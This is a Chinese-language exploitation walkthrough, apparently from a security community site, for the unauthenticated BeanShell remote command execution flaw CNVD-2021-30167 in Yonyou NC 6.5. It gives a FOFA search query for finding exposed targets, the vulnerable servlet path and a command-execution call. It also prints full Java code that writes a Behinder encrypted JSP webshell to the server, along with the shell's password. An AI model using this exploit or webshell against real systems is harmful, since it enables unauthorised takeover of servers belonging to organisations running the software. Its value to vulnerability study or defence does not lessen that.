用友NC v6.5 BeanShell接口远程命令执行漏洞CNVD-2021-30167

漏洞描述

该漏洞为远程命令执行漏洞,由于用友NC对外开放了BeanShell接口,攻击者可以在无需经过身份验证的情况下直接访问该接口,并构造恶意数据执行任意命令,攻击成功可获得目标服务器权限。
  


 

漏洞影响

用友NC6.5
 


 

FOFA

title=="YONYOU NC"

 


 

漏洞复现

图片[1]-用友NC v6.5 BeanShell接口远程命令执行漏洞CNVD-2021-30167-孤勇者社区

1.进入BeanShell接口路径

http://x.x.x.x:8181/servlet/~ic/bsh.servlet.BshServlet

图片[2]-用友NC v6.5 BeanShell接口远程命令执行漏洞CNVD-2021-30167-孤勇者社区

2.执行命令

exec("whoami");

图片[3]-用友NC v6.5 BeanShell接口远程命令执行漏洞CNVD-2021-30167-孤勇者社区

3.使用java写入冰蝎shell,这里需要使用pwd();进行查路径

1.查看路径:

dir("E://nc65//webapps//nc_web");

2.java写入冰蝎马

import java.io.*;String filePath = "./webapps/cmd.jsp"; String conent ="<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>";BufferedWriter out = null;try {File file = new File(filePath);File fileParent = file.getParentFile();if (!fileParent.exists()) {fileParent.mkdirs();}file.createNewFile();out = new BufferedWriter(new OutputStreamWriter(new FileOutputStream(file, true)));out.write(conent);}catch(Exception e) {e.printStackTrace();} finally {try {out.close();} catch (IOException e) {e.printStackTrace();}}

图片[4]-用友NC v6.5 BeanShell接口远程命令执行漏洞CNVD-2021-30167-孤勇者社区

4.冰蝎连接,得到一个管理员权限的shell,密码为rebeyond

图片[5]-用友NC v6.5 BeanShell接口远程命令执行漏洞CNVD-2021-30167-孤勇者社区

------本页内容已结束,喜欢请分享------

感谢您的来访,获取更多精彩文章请收藏本站。

© 版权声明
THE END
喜欢就支持一下吧
点赞5赞赏 分享
评论 共2条
头像
欢迎您留下宝贵的见解!
提交
头像

昵称

取消
昵称表情代码图片
    • 头像机撒0
    • 头像出插0